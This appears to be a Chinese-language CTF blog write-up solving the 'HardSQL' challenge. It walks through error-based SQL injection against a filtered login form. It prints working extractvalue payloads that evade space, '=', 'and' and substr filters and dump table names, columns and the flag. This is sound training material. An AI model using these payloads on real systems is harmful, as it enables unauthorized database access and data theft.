SQL注入之——[极客大挑战 2019]HardSQL

[极客大挑战 2019]HardSQL

还是不断的放狠话。这次注释密码的方式也登录不上了。

SQL注入之——[极客大挑战 2019]HardSQL_第1张图片

通过暴力破解,可以发现被过滤的字符。

这里需要注意的是,在暴力破解这个过滤字符的时候,需要调低线程和重试的时间间隔,否则后面就会不断的报出429的错误,表示请求数量过多。

SQL注入之——[极客大挑战 2019]HardSQL_第2张图片

从上面的结果中可以看出,很多字符都被过滤,常用的联合注入的字符也不能使用,因此选择使用报错注入。

但是在构造报错注入语句时,发现了问题。

常规的报错注入语句为: or updatexml(1,concat(0x7e,database(),0x7e),1)#

或者:or extractvalue(1,concat(0x7e,database()))#

但是从上面的结果中发现,空格和and被过滤了,但是or没有被过滤,仍然可以使用。

解决办法:

从括号代替空格。

可以用^连接函数,代替orand,当然使用or是没有问题的,测试有效。

爆出当前数据库

SQL注入之——[极客大挑战 2019]HardSQL_第3张图片
SQL注入之——[极客大挑战 2019]HardSQL_第4张图片

查询表名
playload:username=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables))))%23&password=123

SQL注入之——[极客大挑战 2019]HardSQL_第5张图片

然后试试查询geek库里的表。

这个网址还过滤了等于号。

解决办法:

like代替=
playload:username=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23&password=123

SQL注入之——[极客大挑战 2019]HardSQL_第6张图片

查字段

username=1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23&password=123

SQL注入之——[极客大挑战 2019]HardSQL_第7张图片

查数据

username=1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1))))%23&password=123

SQL注入之——[极客大挑战 2019]HardSQL_第8张图片

发现flag只是出现了一部分。

substr过滤了不能用

解决办法:

left(),right()

playload:username=1'^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23&password=123

SQL注入之——[极客大挑战 2019]HardSQL_第9张图片
SQL注入之——[极客大挑战 2019]HardSQL_第10张图片
SQL注入之——[极客大挑战 2019]HardSQL_第11张图片
SQL注入之——[极客大挑战 2019]HardSQL_第12张图片

用left和right进行拼接就出来flag了。

你可能感兴趣的:(SQL注入,网络安全,sql)